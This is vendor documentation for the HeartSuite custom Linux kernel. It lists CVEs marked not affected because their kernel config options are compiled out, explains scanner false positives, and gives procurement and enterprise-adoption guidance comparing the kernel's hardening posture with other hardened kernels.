Status: Not Affected Config gate: CONFIG_CORESIGHT not set CVEs covered: CVE-2025-38131

CONFIG_CORESIGHT is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Ipv6 Seg6 Lwtunnel

Status: Not Affected Config gate: CONFIG_IPV6_SEG6_LWTUNNEL not set CVEs covered: CVE-2025-38476

CONFIG_IPV6_SEG6_LWTUNNEL is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Comedi

Status: Not Affected Config gate: CONFIG_COMEDI not set CVEs covered: CVE-2025-38482, CVE-2025-38483, CVE-2025-38529, CVE-2025-38530, CVE-2025-39685, CVE-2025-39686

CONFIG_COMEDI is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Nubus

Status: Not Affected Config gate: CONFIG_NUBUS not set CVEs covered: CVE-2023-53217

CONFIG_NUBUS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Xdp Sockets

Status: Not Affected Config gate: CONFIG_XDP_SOCKETS not set CVEs covered: CVE-2023-53426

CONFIG_XDP_SOCKETS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Ptp 1588 Clock Ocp

Status: Not Affected Config gate: CONFIG_PTP_1588_CLOCK_OCP not set CVEs covered: CVE-2025-39859

CONFIG_PTP_1588_CLOCK_OCP is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Trace Buf

Status: Not Affected Config gate: CONFIG_TRACE_BUF not set CVEs covered: CVE-2023-53587

CONFIG_TRACE_BUF is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Dlm

Status: Not Affected Config gate: CONFIG_DLM not set CVEs covered: CVE-2023-53629

CONFIG_DLM is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Net Team

Status: Not Affected Config gate: CONFIG_NET_TEAM not set CVEs covered: CVE-2025-71091

CONFIG_NET_TEAM is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Macvlan

Status: Not Affected Config gate: CONFIG_MACVLAN not set CVEs covered: CVE-2026-23001

CONFIG_MACVLAN is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Security Apparmor

Status: Not Affected Config gate: CONFIG_SECURITY_APPARMOR not set CVEs covered: CVE-2026-23408

CONFIG_SECURITY_APPARMOR is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Rcu Nocb Cpu

Status: Not Affected Config gate: CONFIG_RCU_NOCB_CPU not set CVEs covered: CVE-2024-35929, CVE-2025-38704

CONFIG_RCU_NOCB_CPU is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Debug Mutexes

Status: Not Affected Config gate: CONFIG_DEBUG_MUTEXES not set CVEs covered: CVE-2023-52836

CONFIG_DEBUG_MUTEXES is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Stm

Status: Not Affected Config gate: CONFIG_STM not set CVEs covered: CVE-2024-38627

CONFIG_STM is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Greybus

Status: Not Affected Config gate: CONFIG_GREYBUS not set CVEs covered: CVE-2024-39495

CONFIG_GREYBUS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Ionic

Status: Not Affected Config gate: CONFIG_IONIC not set CVEs covered: CVE-2024-39502

CONFIG_IONIC is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Crypto Dev Hisi Sec2

Status: Not Affected Config gate: CONFIG_CRYPTO_DEV_HISI_SEC2 not set CVEs covered: CVE-2024-42147, CVE-2024-47730

CONFIG_CRYPTO_DEV_HISI_SEC2 is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Bna

Status: Not Affected Config gate: CONFIG_BNA not set CVEs covered: CVE-2024-43839

CONFIG_BNA is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Drm Aspeed Gfx

Status: Not Affected Config gate: CONFIG_DRM_ASPEED_GFX not set CVEs covered: CVE-2023-52916

CONFIG_DRM_ASPEED_GFX is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Pci Kirin

Status: Not Affected Config gate: CONFIG_PCI_KIRIN not set CVEs covered: CVE-2024-47751

CONFIG_PCI_KIRIN is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Drm Stm

Status: Not Affected Config gate: CONFIG_DRM_STM not set CVEs covered: CVE-2024-49992

CONFIG_DRM_STM is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Hi Gmac

Status: Not Affected Config gate: CONFIG_HI_GMAC not set CVEs covered: CVE-2022-48960, CVE-2022-48962

CONFIG_HI_GMAC is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Hsr

Status: Not Affected Config gate: CONFIG_HSR not set CVEs covered: CVE-2022-49015

CONFIG_HSR is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Typec

Status: Not Affected Config gate: CONFIG_TYPEC not set CVEs covered: CVE-2024-50150

CONFIG_TYPEC is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Mse102X

Status: Not Affected Config gate: CONFIG_MSE102X not set CVEs covered: CVE-2024-50276

CONFIG_MSE102X is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Video S5P Jpeg

Status: Not Affected Config gate: CONFIG_VIDEO_S5P_JPEG not set CVEs covered: CVE-2024-53061

CONFIG_VIDEO_S5P_JPEG is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Arm Scmi Protocol

Status: Not Affected Config gate: CONFIG_ARM_SCMI_PROTOCOL not set CVEs covered: CVE-2024-53068

CONFIG_ARM_SCMI_PROTOCOL is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Intel Xe GPU Driver

Status: Not Affected Config gate: CONFIG_DRM_XE not set CVEs covered: CVE-2024-53098

CONFIG_DRM_XE is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Hyperv Vsockets

Status: Not Affected Config gate: CONFIG_HYPERV_VSOCKETS not set CVEs covered: CVE-2024-53103

CONFIG_HYPERV_VSOCKETS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Usb Lan78Xx

Status: Not Affected Config gate: CONFIG_USB_LAN78XX not set CVEs covered: CVE-2024-53213

CONFIG_USB_LAN78XX is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Drm Xlnx

Status: Not Affected Config gate: CONFIG_DRM_XLNX not set CVEs covered: CVE-2024-56538

CONFIG_DRM_XLNX is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Usb Net Cdcether

Status: Not Affected Config gate: CONFIG_USB_NET_CDCETHER not set CVEs covered: CVE-2025-38153

CONFIG_USB_NET_CDCETHER is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Md Raid10

Status: Not Affected Config gate: CONFIG_MD_RAID10 not set CVEs covered: CVE-2023-53357

CONFIG_MD_RAID10 is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Video Adv748X

Status: Not Affected Config gate: CONFIG_VIDEO_ADV748X not set CVEs covered: CVE-2025-71136

CONFIG_VIDEO_ADV748X is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Scanner Guidance

When a scanner flags Root Lock by HeartSuite for a CVE listed as Not Affected on this page, the result is a version-string match: the scanner has identified a kernel version older than the upstream fix but has not evaluated whether the vulnerable code path is compiled in.

For the full verification workflow (maintenance-kernel exceptions, scanner configuration, audit evidence, and published OSV feeds), see CVE Hygiene for Scanners.

Share this page with your auditor or scanner vendor as the reference for any disputed CVE entry. For compliance teams that require a configuration-level proof, the config gate for any entry on this page can be confirmed on the Root Lock by HeartSuite host:

grep CONFIG_<GATE> /boot/config-$(uname -r)

For example, to confirm CVE-2026-31431:

$ grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
CONFIG_CRYPTO_USER_API_AEAD=n

Replace CONFIG_<GATE> with the config gate listed in the relevant section. Any =n result confirms that config gate is not compiled into the running kernel.

The Four Assessment Gates

Every entry on this page was verified source-first. No assumptions were made about what is compiled in, and no scanner output was taken at face value. The assessment follows four gates in order:

Gate 1 — Is the vulnerable code compiled in? The HeartSuite kernel configuration is checked directly against the relevant CONFIG_ option. If the option is not set, the vulnerable code does not exist in the running kernel. The assessment stops here as Not Affected regardless of kernel version string.

Gate 2 — Does HeartSuite’s outbound connection control cover the attack path? For socket-based CVEs, HeartSuite intercepts outbound connect() calls only. Attack paths that reach the kernel through socket creation, sendmsg, recvmsg, or kernel-internal crypto interfaces are not covered by this control and are noted accordingly.

Gate 3 — Can an exploit program run? Under Lockdown, the program allowlist is made filesystem-immutable. No new program entries can be added. An attacker-dropped exploit program has no allowlist entry and cannot execute. This gate does not apply to CVEs exploitable from within an already-running, allowlisted process.

Gate 4 — What can root actually do under Lockdown? When a CVE achieves root privilege, HeartSuite Lockdown applies a further constraint. The kernel refuses to clear filesystem immutable flags (chattr -i is blocked at the syscall level). All three mount syscall variants are blocked. Lockdown is one-way — it can only be cleared by a hardware reboot, and rebooting requires physical or serial console access to the GRUB menu. An attacker who reaches root in Lockdown has no path to persistence, cannot modify the allowlist, cannot add backdoors, and cannot survive a reboot.

The two residual risks that Lockdown does not close are in-memory data exfiltration (reading live process memory) and availability impact (crashing the system). These are noted in affected entries where relevant.


The bug exists. The attack does not.

15 - Kernel Hardening

Objective, measurement-backed analysis of Root Lock by HeartSuite’s kernel hardening posture — design rationale, comparison against industry references, and reproducible evidence.

Overview: Root Lock by HeartSuite runs custom-built Linux kernels (5.19 legacy and 6.18 primary LTS) that remove the subsystems attackers use to bypass security controls, rather than patching around them. This section covers buyer evaluation, support policy, compatibility, scanner hygiene, and reproducible evidence.

For buyers and procurement

Start here if you are evaluating the HS kernel for a regulated or enterprise fleet:

  • Procurement Brief — Comparison table and decision guide at a glance.
  • Enterprise Adoption Guide — CISO and procurement guidance: deployment, fleet operations, Secure Boot status, supply chain, recovery, and honest limitations.
  • Distro Compatibility Matrix — Validated and supported distributions, RHEL-family guidance, workload fit, and HJFS alternative.
  • Kernel Support Policy — LTS strategy, patch targets, update delivery, version-string semantics, and boundaries versus distribution-vendor maintenance models.
  • CVE Hygiene for Scanners — How enterprise Linux security teams verify CVE status without upstream version false positives.
  • Supply Chain and Advisory Feeds — SHA-256 today; published JSON feeds at /advisories/ (CONFIG-gate SBOM, OSV with 279 entries, CycloneDX SBOM for hs-v1.6.4-kernel-6.18.9); roadmap for GPG/cosign signing and OVAL.

Reading guide: Several pages name Red Hat Enterprise Linux (RHEL), RHSA advisories, and OVAL feeds as familiar anchors for procurement and vulnerability-management teams — the same errata-first discipline applies on Rocky, AlmaLinux, Ubuntu LTS, Debian, and SUSE. HeartSuite is not a RHEL-only product; the Distro Compatibility Matrix lists validated bases across RPM and Debian families.

Evidence and technical reference

Every measured number derives from the open-source kernel-hardening-checker tool applied identically to HeartSuite and reference kernels. No estimates. Raw evidence files and config SHA-256 hashes are included so any qualified team can verify independently.

  • Evidence Status — 5.19.6 published vs 6.18.9 commercial baseline (in progress).
  • Comparison Matrix (6.18.9) — Primary stream structure; measured scores pending publication.
  • Comparison Matrix (5.19.6) — Legacy stream, fully measured: HeartSuite vs vanilla defconfig, Arch hardened, and KSPP target.
  • Auditor Brief — Threat model, measured strengths and gaps, residual risks, and self-reproduction commands for security auditors and red teams.
  • LSM Comparison — HeartSuite vs SELinux, AppArmor, and TOMOYO: enforcement model, bypass-primitive resistance, and co-existence.
  • Analyst Summary — Non-technical summary for journalists and analysts, with fact-checker citations.

15.1 - Procurement Brief: Kernel Hardening at a Glance

Plain-language comparison of Root Lock by HeartSuite HS kernel hardening against industry alternatives — 6.18.9 primary commercial baseline; measured tables reference the published 5.19.6 legacy stream until 6.18.9 evidence ships.

Overview: Side-by-side comparison of HeartSuite’s kernel hardening choices against community hardened kernels and industry benchmarks — start here if you are evaluating the HS kernel for procurement.

Subject: Root Lock by HeartSuite HS kernel — 6.18.9 primary (commercial baseline, HeartSuite v1.6.4), 5.19.6 legacy
Evidence status: Measured scores on this page reference the published 5.19.6 stream (2026-05-19, kernel-hardening-checker). New deployments use 6.18.9; config hash and checker parity for that stream are in progress — see Evidence Status and Kernel Hardening Comparison Matrix (6.18.9).
Legacy technical data (measured): kernel-comparison-matrix-5.19.6.md, evidence-pack-5.19.6.txt

For enterprise buyers and CISOs evaluating the custom kernel in regulated environments — including deployment patterns, Secure Boot status, fleet management, risk transfer, supply chain artifacts, recovery paths, compatibility, and alternatives for strict “no custom kernel” policies — see the Enterprise Adoption Guide. Kernel support policy, distribution compatibility, and scanner hygiene: Kernel Support Policy, Distro Compatibility Matrix, CVE Hygiene for Scanners.


What this document covers

Every Linux kernel ships with hundreds of configuration choices that determine how easy it is to exploit vulnerabilities or escape security controls. This document compares HeartSuite’s kernel choices to a directly comparable community-hardened kernel and the KSPP industry benchmark.

All numbers in the tables below are outputs of the same measurement tool applied identically to each 5.19.6-era kernel configuration. No estimates. The Arch linux-hardened comparison uses the 5.19.11 release — the same kernel generation as HeartSuite 5.19.6, making scores directly comparable. Do not apply these figures to 6.18.9 deployments; request pre-release 6.18.9 evidence via support or watch Evidence Status for publication.


At a glance

What you care aboutHS 5.19.6Arch linux-hardened 5.19.11KSPP benchmark
Dangerous features disabled68.9% (91/132 checks)58.3% (77/132)99.2% (131/132)
Exploit-resistance mitigations28.4% (31/109 checks)63.3% (69/109)85.3% (93/109)
Loadable kernel modules at runtime0 loaded (9 available)HundredsNot measured
BPF subsystem disabledYesNoYes
AppArmor / TOMOYO / YAMA / Landlock / IMA / EVM disabledYes (all 6)NoNo
Module signing enforcedNoYesYes
Independently verifiableYes — SHA-256 publishedYesYes

KSPP benchmark anchored to kernel 6.17; its version-agnostic recommendations set the de facto industry target but are not directly score-comparable to 5.19.x.


What HeartSuite is optimized for

HeartSuite removes or disables the kernel features that are most commonly used to bypass security controls — not necessarily those used to exploit vulnerabilities.

This means:

  • Attacker cannot use BPF to override security decisions at runtime. (Arch linux-hardened keeps BPF enabled; it’s widely used by system tools and container runtimes.)
  • Attacker cannot use user namespaces (CONFIG_USER_NS=n) to create a fake root environment. (Arch linux-hardened 5.19.11 keeps user namespaces enabled for container use.)
  • Attacker cannot use FUSE or overlay filesystems to confuse path-based enforcement.
  • No competing security policies (AppArmor, SELinux at runtime, YAMA, Landlock, IMA, EVM) that could interfere with or be manipulated to weaken HeartSuite’s decisions.

What HeartSuite does not add — and dedicated hardened kernels do:

  • Memory initialization on allocation/free (INIT_ON_ALLOC_DEFAULT_ON, INIT_ON_FREE_DEFAULT_ON)
  • Bounds-checking on kernel-to-user copies (HARDENED_USERCOPY)
  • Compiler-level hardening (FORTIFY_SOURCE, RANDSTRUCT, GCC_PLUGIN_LATENT_ENTROPY)
  • Allocator randomization (SLAB_FREELIST_RANDOM, SLAB_FREELIST_HARDENED)
  • Kernel stack erasure on syscall return (KSTACK_ERASE)

These mitigations slow down or prevent exploitation of kernel memory bugs. Arch linux-hardened 5.19.11 scores 69/109 (63.3%) on this axis vs HS’s 31/109 (28.4%). HeartSuite 5.19.6 sits at the vanilla upstream baseline for exploit-resistance. For deployments where the primary concern is a compromised process escaping its enforcement boundary — not kernel memory exploitation — HeartSuite covers the relevant threat at the right operating point; the Decision guide below covers when adding exploit-resistance hardening alongside HeartSuite makes sense.


Broader market landscape

ProductBypass PreventionExploit ResistanceModule FootprintAvailability
HeartSuite 5.19.6Very High — BPF/FUSE/OVERLAY/AppArmor/TOMOYO/USER_NS disabledLow — vanilla upstream baseline~9 modulesCommercial
Arch linux-hardened 5.19.11Moderate — keeps BPF, FUSE, AppArmor, USER_NSHigh — HARDENED_USERCOPY, FORTIFY_SOURCE, INIT_ON_ALLOC, SLAB_FREELISTHundredsFree, open-source
grsecurity / PaXHighVery High — RBAC + PaX heap/stack protectionsLargePaid subscription
CLIP OS (ANSSI)High — minimal modules, BPF disabledHigh — KSPP-style mitigations~400Public (archived)
Hardened GentooModerateHighLargeFree, open-source
GrapheneOSHigh (Android-targeted)Very High — extensive Android hardening patchesAndroid-specificFree, open-source
Kicksecure / WhonixLow–ModerateLow–Moderate — mostly OS-level, not kernel patchesStandard DebianFree, open-source

Note: NixOS linux_hardened was removed from nixpkgs in 2025 due to lack of maintenance and is no longer an active project. Qualitative characterizations are drawn from each project’s public documentation. Only HS and Arch linux-hardened scores are directly measured and era-matched.


Decision guide

Choose HeartSuite if your primary concern is:

  • Preventing a compromised application from escaping its security boundary
  • Ensuring no in-kernel feature (BPF, FUSE, namespaces) can be used to bypass your security policy
  • Minimizing the total kernel attack surface (9 loadable modules vs. thousands)
  • Running a single-purpose security appliance, not a general-purpose server

Consider adding a hardened kernel layer if your concern is also:

  • Protection against kernel-level exploitation (heap corruption, use-after-free, ROP)
  • Compliance requirements that enumerate specific KSPP mitigations
  • Environments where root access cannot be fully constrained

HeartSuite is not a replacement for: network firewalls, application-layer WAFs, SIEM, endpoint detection/response — it operates at the kernel enforcement layer, not at the network or application layer.


Verification

HeartSuite’s kernel configuration is published with a SHA-256 hash. Any qualified security team can reproduce these measurements using the open-source kernel-hardening-checker tool:

Config SHA-256: d67caa637263c33ce939b7eef867f0695d60d11d285d6694a7f5567e73ba6fbc
Tool: https://github.com/a13xp0p0v/kernel-hardening-checker (commit b9b83a0)

Full methodology and raw data: evidence-pack-5.19.6.txt

15.2 - Enterprise Adoption Guide: The Root Lock by HeartSuite Kernel in Regulated Environments

Practical guidance for CISOs, procurement teams, and security architects evaluating the custom-built kernel used by Root Lock by HeartSuite — why it exists, how vendor risk is owned, deployment and fleet operations, Secure Boot status, compatibility, supply chain, recovery paths, evidence for auditors, and honest limitations including alternatives for strict no-custom-kernel policies.

Overview: Practical guidance for CISOs and procurement teams adopting the HeartSuite kernel in regulated fleets — why the custom kernel exists, how vendor risk is owned, deployment and recovery patterns, and honest limitations including alternatives when a custom kernel is not acceptable.

Audience: Fortune 500 CISOs, procurement, risk, and compliance teams evaluating Root Lock by HeartSuite for production and regulated workloads.

Related reading: Start with the Procurement Brief (comparison table and decision guide) and Auditor Brief (threat model and residual risks). Cross-references throughout this guide point to the full set of kernel-hardening, security, operational, and comparison pages.


Why a custom kernel

Root Lock by HeartSuite uses a custom-built Linux kernel (based on mainline LTS releases such as 5.19.6 and 6.18) so that enforcement cannot be bypassed by an attacker who has already reached root.

The design removes at build time the kernel features most commonly used as bypass vectors for security controls:

  • The BPF syscall (CONFIG_BPF_SYSCALL) — there is no eBPF layer an attacker can load programs into or unload.
  • User namespaces (CONFIG_USER_NS) — no unprivileged fake-root environment for container escapes or privilege escalation.
  • FUSE and OverlayFS — path-confusion and mount-based bypasses against VFS-level enforcement are unavailable.
  • Competing LSM frameworks (AppArmor, TOMOYO, and runtime SELinux enforcement) and related policy engines — no parallel policy that can be set permissive or edited to weaken decisions.

Enforcement logic for program execution, file access, and outbound network connections is compiled into the kernel binary itself. Blocking decisions are consulted on every relevant operation; there is no runtime configuration file or agent that root can unload, kill, or reconfigure to disable protection.

This is distinct from “hardening mitigations” (stack canaries, allocator hardening, etc.). Those raise the cost of exploiting a memory bug. Root Lock by HeartSuite removes the primitives that let a compromised process escape its intended boundary in the first place. See the side-by-side scores and rationale in the Procurement Brief and the bypass table in How Root Lock by HeartSuite Compares.

The result is a deliberately smaller kernel (approximately 9 loadable modules versus thousands in a general-purpose distribution) whose configuration is published with a SHA-256 hash for independent verification.

What Root Lock by HeartSuite owns for kernel risk

Root Lock by HeartSuite treats the kernel as an integrated part of the delivered product, not a third-party dependency the customer manages in isolation.

  • Update cadence and patching: Kernels are released as coordinated versioned bundles with the userspace components (daemon, Dashboard, tools, and installer). Updates follow the same maintenance window model as policy changes: boot the maintenance kernel, apply the bundle, return to the HeartSuite kernel, and review. Public patch targets, notification channels, and version-string semantics are in the Kernel Support Policy. Supported distributions and validation tiers are in the Distro Compatibility Matrix.
  • CVE handling: The Kernel Security Transparency page provides per-CVE status with technical rationale. Features compiled out produce “Not Affected” entries (the vulnerable code path is absent by design; no patch or policy change is required). For reachable code paths, Lockdown’s allowlist bounds post-exploitation impact: new programs cannot execute, mounts are refused, and changes to sealed configuration are blocked. Scores on HeartSuite are computed and published (many high/critical CVEs drop to 0.0 environmental score on HS deployments). Scanner and audit workflows are in CVE Hygiene for Scanners.
  • Stack pairing and testing: The kernel is built, tested, and supported together with the matching userspace. The full enforcement contract (VFS hooks + Lockdown seal + allowlist) is validated across supported distributions.
  • Support SLAs: Commercial subscription terms cover the integrated stack, including kernel-related incidents, coordinated updates, and guidance on deployment and recovery. Activation and support details appear in the Subscription section and your subscription agreement.

Deployment mitigations: hiding kernel details in practice

Enterprise teams do not want operators making daily kernel choices. The product and recommended deployment patterns are built to keep the kernel choice at image-build or initial-provision time.

  • Cloud Path: Pre-configured instances on major providers (AWS, Google Cloud, Azure, DigitalOcean, Linode, and others) arrive with the HeartSuite kernel already installed and set as default. The Dashboard appears on first login with Phase 1 complete. Serial console access from the provider remains available for recovery.
  • Golden image recipes and automated install: Use your existing Packer, Terraform, Ansible, or cloud-init pipelines to produce base images that include the Root Lock by HeartSuite install bundle. The installer sets the HeartSuite kernel as the GRUB default, performs the initial boot, and surfaces the Dashboard. Baseline allowlists can be pre-seeded for homogeneous fleets (see Alert Settings — fleet syslog, webhook, and central policy patterns).
  • Hiding details from operators: After initial provisioning, day-to-day interaction is through the Dashboard or central automation. Kernel selection appears only in the documented Maintenance flow (when changes are required) and in the System Info Strip when running on the maintenance kernel. GRUB entries for the original distribution kernel are retained (split into Maintenance and vanilla entries, with Maintenance labelled as the Setup Mode destination) for the recovery path.

Official pre-built images in the major cloud Marketplaces are in active development and will further reduce the need for customers to assemble images. Until those listings are available, the golden-image + automated-install pattern delivers equivalent repeatability and auditability using the same tooling you already apply to other base OS images.

Secure Boot, firmware compatibility, and roadmap

Current status: HeartSuite kernel support for UEFI Secure Boot (including MOK enrollment on local hardware and provider-specific flows such as Azure Trusted Launch and GCP Shielded VMs) is incomplete. Deployments that require Secure Boot enabled for the HeartSuite kernel entry may need to enroll via MOK during installation or temporarily boot with Secure Boot disabled for the HeartSuite kernel while using the provider console or local management for the maintenance kernel.

The original distribution kernel (Non-HS) retains its signing status and can be used for recovery and maintenance regardless of Secure Boot policy.

Roadmap: Signed kernel images, streamlined MOK tooling, and cloud-provider-specific runbooks (Azure, GCP, AWS) are prioritized work. Expanded test coverage for UEFI Secure Boot paths is tracked alongside the existing partial e2e validation. Customers evaluating platforms with mandatory Secure Boot should engage support for the current test status and any interim runbooks applicable to their cloud account or hardware.

The bypass-prevention properties (physical presence required for any recovery path) hold on both the HeartSuite kernel and maintenance kernel; Secure Boot is an orthogonal boot-integrity control.

Compatibility and certification

Root Lock by HeartSuite is designed to coexist with the majority of enterprise infrastructure components that do not themselves depend on the disabled kernel features.

Works with (standard configurations):

  • Local and cloud block storage (ext4, xfs, and provider volumes) for the root and data filesystems.
  • Standard networking stacks and cloud provider vNICs / security groups (Root Lock by HeartSuite controls only outbound per-program destinations; inbound remains the responsibility of the OS firewall or cloud controls).
  • SIEM / SOAR ingestion via the two syslog streams and webhook (see Alert Settings).
  • Monitoring and status collection via ~/.cache/heartsuite/status.json (Ansible facts, Nagios, Zabbix, custom collectors).
  • Container workloads with fixed pod sets established before Lockdown engages (see deployment notes in How Root Lock by HeartSuite Compares).
  • EDR and observability via log forwarding (no on-host eBPF attachment or kernel-module agents are possible or required; enforcement events flow through the existing syslog channel).
  • Vulnerability scanners and HIDS/FIM agents (run during Setup Mode so their programs and paths are reviewed and approved).

Requires the maintenance kernel or a separate host (or alternative controls):

  • Local execution of eBPF-based tools (Falco, Cilium Tetragon, bpftrace, etc.) — the BPF syscall is deliberately absent.
  • Dynamic Kubernetes environments with frequent pod creation, HPA scale-out, or rescheduling after Lockdown (mount operations required for new containers are refused).
  • KVM hypervisor hosts (KVM host-mode features are compiled out).
  • Rootless / unprivileged user-namespace containers.
  • Any workload or tooling that explicitly requires one of the compiled-out features for its core function.

Decision tree (high level)

RequirementRecommended path
Need kernel-level per-program execution + file + network control that survives compromised root, and can accommodate the HeartSuite kernelRoot Lock by HeartSuite with HeartSuite kernel
Must run eBPF tooling locally or require full dynamic container orchestration after policy is sealedmaintenance kernel (or adjacent standard host) + other controls; consider HJFS for file isolation layer
Strict “no custom or modified kernel” policy (certification, vendor support contract, or internal mandate)HJFS (standard kernel) for file isolation + network/execution controls via existing tooling or HeartSuite Exec Lock companion where applicable; see HJFS documentation
Want both layersRoot Lock by HeartSuite (execution/network) + HJFS (file isolation and versioning) on the same host where the HeartSuite kernel is acceptable

Full compatibility notes and known non-fits live in How Root Lock by HeartSuite Compares (section “Where a separate kernel is required”) and the system-requirements pages. As more storage, networking, EDR, and monitoring vendors publish explicit coexistence statements, this section will be expanded with a published matrix.

Operational model for fleets

The HeartSuite kernel is managed the same way you manage base OS images and policies — through the control planes you already own.

  • Image lifecycle: Treat the HeartSuite kernel + baseline allowlist as part of your golden image. Packer templates call the official install bundle, pre-seed policy via the batch tools, and produce an image that boots directly to the protected state. Reprovision or patch images on the same cadence as your other distributions.
  • Provisioning: Terraform, cloud-init, or your IaC tool launches the image (or runs the installer non-interactively). No special kernel module or agent is required after boot.
  • Policy at scale: Allowlist content (programs, file paths, network destinations) is curated centrally and applied via Ansible, Terraform + GitOps, ServiceNow, or custom automation exactly as described in Alert Settings (fleet export surfaces and central policy patterns). Pre-seeding accelerates homogeneous fleets; observation + central review handles varied workloads.
  • Kernel updates: Delivered as versioned bundles. Apply during planned maintenance windows using the standard maintenance kernel path (or by reprovisioning from an updated golden image). The Dashboard and automation surfaces make the required steps repeatable.
  • Observability and drift: status.json, the JSONL approval log, and the two syslog streams feed your existing fleet dashboards and SIEM. Drift detection (policy or mode) is performed by harvesting from central jobs and comparing against the Git/CMDB source of truth.
  • No new kernel-specific fleet tooling: The same rsyslog rule, SSH/Ansible access, and image pipeline you use today handle the kernel boundary.

This model keeps ownership of policy curation, change records, and visibility inside the tools your teams already run.

Risk transfer under commercial subscription

A commercial subscription for Root Lock by HeartSuite covers the full delivered stack, including the kernel:

  • Vendor support and SLAs for incidents, updates, and deployment guidance that encompass kernel behaviour.
  • Contractual risk-transfer terms (indemnification and liability provisions) as set out in the subscription agreement for the licensed software.
  • Access to the verification artifacts published on this site (config hashes, evidence packs, CVE transparency data) that support customer and auditor due diligence.
  • Coordinated release process so that kernel changes, userspace changes, and documentation remain in sync.

The kernel does not carry a separate support contract or separate risk posture; it is part of the integrated product under the same subscription that enables Lockdown. Details of indemnity scope, SLA commitments, and verification deliverables are in your specific subscription agreement. See the Subscription page for activation mechanics.

Supply chain transparency and integrity

  • Reproducible posture verification: Every released HeartSuite kernel includes a published SHA-256 of its exact .config file. Any team can obtain the config from the kernel package and re-run the open-source kernel-hardening-checker to reproduce the exact attack-surface and exploit-resistance scores shown in the Procurement Brief and Auditor Brief. See evidence-pack-*.txt files for raw output.
  • Installer and bundle integrity: Distributed bundles include SHA-256 manifests (.sha256 files) for verification before execution.
  • SBOM and provenance: A full software bill of materials covering the kernel and userspace components, plus expanded reproducible-build artifacts and signing for kernel binaries, is in active development. Current customers receive the available verification material (config hash + evidence packs + bundle hashes) under their subscription; additional supply-chain artifacts are provided on request or as they become available. Public roadmap and interim controls: Supply Chain and Advisory Feeds. Per-stream evidence publication: Evidence Status.
  • No reliance on opaque vendor claims for the measured hardening posture: The numbers are tool outputs against public hashes.

Recovery and fallback: the maintenance kernel as supported escape hatch

Every installation retains a first-class recovery path:

  • The original distribution kernel is always present in GRUB (split into Maintenance and vanilla entries during install, with Maintenance labelled as the Setup Mode destination).
  • The Dashboard’s Maintenance flow ([m]) detects Lockdown state and guides the operator through the exact sequence: reboot to maintenance kernel, remove the immutable seal, make changes, reboot back to the HeartSuite kernel, review new activity, and re-engage Lockdown.
  • The Dashboard’s Maintenance ([m]) handles the common case of quick Non-HS work followed by guided return to the Root Lock by HeartSuite kernel and review.
  • For policy or platform conflicts that make the Root Lock by HeartSuite kernel unsuitable for an extended period, teams can remain on the maintenance kernel (the product continues to run and log in non-enforcing mode) or remove Root Lock by HeartSuite entirely. Both paths are supported and documented.
  • Physical or console access (local keyboard/monitor, serial, or cloud provider serial console) is always sufficient to select the maintenance kernel and regain full control. No software on the system can block this path.

This is the documented, supported escape hatch for operational needs, kernel policy conflicts, or environments that ultimately decide against a custom kernel. Full procedures appear in the Maintenance section and FAQs.

Evidence and independent verification for customers and auditors

Nothing on the kernel posture page relies on “trust us.”

  • Reproduce hardening measurements yourself with the published config SHA-256 and the open-source checker (full commands in Auditor Brief).
  • Review every relevant CVE with the exact “Not Affected / Score on HeartSuite 0.0 / bounded impact” rationale on the Kernel Security Transparency page.
  • Inspect live state via the status JSON, per-decision syslog events, approval log, and the sealed allowlist files (all readable or harvestable without special privileges beyond normal admin access).
  • For procurement and audit packages: the Procurement Brief, Auditor Brief, comparison matrix, and evidence packs are self-contained artefacts that can be attached directly to RFPs, due-diligence questionnaires, and auditor workpapers.

Honest limitations

Root Lock by HeartSuite with the HeartSuite kernel is a deliberate architectural choice that trades general-purpose kernel compatibility for bypass resistance and root-immunity. It is not the right fit for every environment.

